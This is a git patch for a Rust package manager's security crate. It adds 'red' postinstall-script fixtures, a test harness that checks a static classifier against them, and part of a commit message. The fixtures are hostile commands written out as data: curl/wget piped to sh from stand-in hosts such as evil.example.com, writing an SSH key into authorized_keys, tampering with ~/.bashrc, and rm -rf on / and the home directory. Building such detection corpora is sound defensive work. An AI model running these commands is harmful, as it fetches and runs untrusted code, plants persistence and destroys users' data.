b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-005-brew.txt new file mode 100644 index 00000000..e0b7ef8d --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-005-brew.txt @@ -0,0 +1 @@ +brew install some-tool diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-006-pnpm.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-006-pnpm.txt new file mode 100644 index 00000000..f63eec34 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-006-pnpm.txt @@ -0,0 +1 @@ +pnpm install some-pkg diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-007-yarn-add.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-007-yarn-add.txt new file mode 100644 index 00000000..8af6a64a --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-007-yarn-add.txt @@ -0,0 +1 @@ +yarn add some-pkg diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-008-bun-add.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-008-bun-add.txt new file mode 100644 index 00000000..202e88cc --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-008-bun-add.txt @@ -0,0 +1 @@ +bun add some-pkg diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-001-curl-sh.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-001-curl-sh.txt new file mode 100644 index 00000000..cce98107 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-001-curl-sh.txt @@ -0,0 +1 @@ +curl https://install.example.com/script.sh | sh diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-002-curl-bash.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-002-curl-bash.txt new file mode 100644 index 00000000..9ace5ef5 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-002-curl-bash.txt @@ -0,0 +1 @@ +curl -fsSL https://get.example.com/install.sh | bash diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-003-wget-sh.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-003-wget-sh.txt new file mode 100644 index 00000000..6fa5eef0 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-003-wget-sh.txt @@ -0,0 +1 @@ +wget -O - https://x.example.com/install.sh | sh diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-004-base64-decode-sh.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-004-base64-decode-sh.txt new file mode 100644 index 00000000..9122c5e5 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-004-base64-decode-sh.txt @@ -0,0 +1 @@ +base64 -d payload.txt | sh diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-005-no-space-operator.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-005-no-space-operator.txt new file mode 100644 index 00000000..18e683f1 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-005-no-space-operator.txt @@ -0,0 +1 @@ +curl https://evil.example.com/x.sh|sh diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-001-bashrc.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-001-bashrc.txt new file mode 100644 index 00000000..fd3bc5a4 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-001-bashrc.txt @@ -0,0 +1 @@ +echo "attacker-payload" >> ~/.bashrc diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-002-authorized-keys.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-002-authorized-keys.txt new file mode 100644 index 00000000..1660fdcb --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-002-authorized-keys.txt @@ -0,0 +1 @@ +echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-003-no-space-dotfile.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-003-no-space-dotfile.txt new file mode 100644 index 00000000..23f15b5b --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-003-no-space-dotfile.txt @@ -0,0 +1 @@ +echo evil>~/.bashrc diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-001-home.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-001-home.txt new file mode 100644 index 00000000..8e5ab456 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-001-home.txt @@ -0,0 +1 @@ +rm -rf ~ diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-002-dotssh.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-002-dotssh.txt new file mode 100644 index 00000000..579c94e6 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-002-dotssh.txt @@ -0,0 +1 @@ +rm -rf ~/.ssh diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-003-root.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-003-root.txt new file mode 100644 index 00000000..b835c512 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-003-root.txt @@ -0,0 +1 @@ +rm -rf / diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-004-env-home.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-004-env-home.txt new file mode 100644 index 00000000..6a2f91d1 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-004-env-home.txt @@ -0,0 +1 @@ +rm -rf $HOME diff --git a/crates/lpm-security/tests/static_gate_corpus.rs b/crates/lpm-security/tests/static_gate_corpus.rs new file mode 100644 index 00000000..76023d6c --- /dev/null +++ b/crates/lpm-security/tests/static_gate_corpus.rs @@ -0,0 +1,192 @@ +//! Phase 46 P2 Chunk 2 — integration-test harness for the static-gate +//! fixture corpus. +//! +//! Reads `tests/fixtures/postinstall-scripts/expectations.json` and +//! the sibling `scripts/.txt` files, classifies each entry via +//! [`lpm_security::static_gate::classify`], and asserts: +//! +//! 1. **Every expectation matches** — any mismatch between the +//! declared `expected` tier and the classifier's output fails the +//! test with a detailed diff. +//! 2. **Zero false-positive reds** — any entry whose expectation is +//! NOT `red` but whose classifier output IS `red` fails separately +//! (redundant with #1, but listed explicitly so the ship-criterion +//! invariant from §4.1 has its own named failure). +//! +//! Prints per-run stats: total count, per-tier counts, and the +//! green-rate (green / (green + amber)) over non-adversarial +//! entries. The ship criterion is `≥60%` green-rate on a 500-script +//! real-world corpus per §4.1, but the threshold is NOT asserted +//! here — the starter set is deliberately biased toward amber/red +//! coverage and its green-rate starts lower. Chunk 6 flips the +//! `≥60%` assertion on once the corpus grows to 500 entries. +//! +//! The harness is deliberately minimal: one test, one read of +//! fixtures, no retries. Fast (<100ms on a warm build) so it runs on +//! every `cargo nextest` without slowing the suite. + +use std::fs; +use std::path::PathBuf; + +use lpm_security::static_gate::classify; +use lpm_security::triage::StaticTier; +use serde::Deserialize; + +#[derive(Debug, Deserialize)] +struct CorpusEntry { + id: String, + expected: StaticTier, + #[serde(default)] + #[allow(dead_code)] // surfaced on mismatch for review, not asserted directly + notes: Option, +} + +fn fixtures_dir() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("fixtures") + .join("postinstall-scripts") +} + +fn load_corpus() -> Vec { + let manifest_path = fixtures_dir().join("expectations.json"); + let raw = fs::read_to_string(&manifest_path) + .unwrap_or_else(|e| panic!("failed to read {manifest_path:?}: {e}")); + serde_json::from_str(&raw).unwrap_or_else(|e| panic!("failed to parse {manifest_path:?}: {e}")) +} + +fn load_script_body(id: &str) -> String { + let path = fixtures_dir().join("scripts").join(format!("{id}.txt")); + let body = fs::read_to_string(&path) + .unwrap_or_else(|e| panic!("failed to read fixture {path:?}: {e}")); + // Strip the ONE trailing newline that Write / most editors append + // so the classifier sees the same bytes a real postinstall body + // would carry (postinstall bodies come from JSON strings, which + // don't typically end in a newline). Preserve any meaningful + // content inside — we only strip the final trailing `\n`. + body.strip_suffix('\n').map(str::to_string).unwrap_or(body) +} + +fn is_adversarial(id: &str) -> bool { + id.starts_with("adversarial-") +} + +#[test] +fn corpus_matches_expectations_and_has_no_fp_reds() { + let entries = load_corpus(); + assert!( + !entries.is_empty(), + "corpus expectations.json is empty — at least the starter set \ + must ship with the harness", + ); + + // Duplicate-id guard: a typo-clone would silently double-count + // one fixture. Cheap linear check; corpus is small. + { + let mut seen = std::collections::HashSet::new(); + for entry in &entries { + assert!( + seen.insert(entry.id.clone()), + "duplicate id in corpus: {}", + entry.id, + ); + } + } + + let mut mismatches: Vec<(String, StaticTier, StaticTier)> = Vec::new(); + let mut fp_reds: Vec = Vec::new(); + let mut green = 0usize; + let mut amber = 0usize; + let mut amber_llm_unexpected = 0usize; + let mut red = 0usize; + + // Stats sub-slice: non-adversarial entries represent the "real + // corpus" shape the 60% ship criterion is measured against. + // Adversarial entries are deliberate stress tests and don't + // belong in the green-rate denominator. + let mut green_real = 0usize; + let mut amber_real = 0usize; + + for entry in &entries { + let body = load_script_body(&entry.id); + let actual = classify(&body); + + if actual != entry.expected { + mismatches.push((entry.id.clone(), entry.expected, actual)); + } + if actual == StaticTier::Red && entry.expected != StaticTier::Red { + fp_reds.push(entry.id.clone()); + } + + match actual { + StaticTier::Green => { + green += 1; + if !is_adversarial(&entry.id) { + green_real += 1; + } + } + StaticTier::Amber => { + amber += 1; + if !is_adversarial(&entry.id) { + amber_real += 1; + } + } + StaticTier::AmberLlm => { + // The P2 classifier is contracted to emit only + // Green | Amber | Red (AmberLlm is reserved for P8). + // Any AmberLlm here is a classifier-contract bug, + // not a corpus issue. + amber_llm_unexpected += 1; + } + StaticTier::Red => red += 1, + } + } + + let total = entries.len(); + let green_rate_real = if green_real + amber_real > 0 { + (green_real * 100) / (green_real + amber_real) + } else { + 0 + }; + + // Stats block — printed on every run (pass or fail) so tuning + // during Chunks 3-6 has continuous feedback. + eprintln!("────────────────────────────────────────"); + eprintln!("static_gate corpus ({total} scripts)"); + eprintln!(" green : {green:>3} amber : {amber:>3} red : {red:>3}"); + eprintln!( + " green-rate (real-corpus subset, excl. adversarial): \ + {green_rate_real}% (target ≥60% — hard-gated in Chunk 6)" + ); + eprintln!("────────────────────────────────────────"); + + assert_eq!( + amber_llm_unexpected, 0, + "classifier emitted AmberLlm for {amber_llm_unexpected} \ + entries — static classifier is contracted to emit only \ + Green | Amber | Red (AmberLlm is owned by P8)", + ); + + if !fp_reds.is_empty() { + panic!( + "FALSE-POSITIVE REDS — classifier flagged {} entry(ies) as \ + red that were NOT expected-red. Ship criterion from §4.1 \ + is zero FP reds.\n {}", + fp_reds.len(), + fp_reds.join("\n "), + ); + } + + if !mismatches.is_empty() { + let detail = mismatches + .iter() + .map(|(id, exp, got)| format!(" {id}: expected {exp:?}, got {got:?}")) + .collect::>() + .join("\n"); + panic!( + "corpus expectation mismatches ({}):\n{}", + mismatches.len(), + detail, + ); + } +} From 028b9f3b2dd17b5bdc11c23dadd2511c2499a62b Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 11:29:42 +0100 Subject: [PATCH 13/61] =?UTF-8?q?feat(phase-46):=20P2=20chunk=203=20?= =?UTF-8?q?=E2=80=94=20populate=20static=5Ftier=20+=20render=20in=20approv?= =?UTF-8?q?e-builds=20UI/JSON?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Static-gate classification now runs at install-time blocked-set capture and is persisted on every fresh BlockedPackage. Value surfaces in both the human approve-builds card and the --json shape so the existing review flow gains the P2 tier annotation immediately. lpm-security/triage.rs - Adds StaticTier::worse_of — canonical worst-wins reducer (Red > AmberLlm > Amber > Green). Symmetric, idempotent, fits Iterator::reduce directly. 7 precedence tests. lpm-cli/build_state.rs - Replaces read_present_install_phases with read_install_phase_bodies — returns Vec<(phase_name, body)> in canonical EXECUTED_INSTALL_PHASES order. One read + parse of package.json feeds both phases_present derivation and the classifier; old helper had one caller and is deleted. - compute_blocked_packages_with_metadata classifies each present phase body via lpm_security::static_gate::classify, folds worst-wins via StaticTier::worse_of, and writes the result to BlockedPackage.static_tier. Populated unconditionally per plan §5.1 (annotation works under deny/triage/allow). A freshly computed BlockedPackage always has Some(tier); None indicates persisted state predates P2. - 8 new tests: read_install_phase_bodies order + empty-body skip + error paths; worst-wins population for Green, Red, Green+Red→Red, Green+Amber→Amber; always-Some invariant. lpm-cli/commands/approve_builds.rs - SCHEMA_VERSION: 1 → 2 (per plan §6.4). Version-history doc captures the v2 delta. - blocked_to_json emits "static_tier": kebab-case string or null. null (not omitted) for v1 legacy state so agents can distinguish "no tier known" from "field missing" without re-checking schema_version per row. - print_package_card renders `Static tier: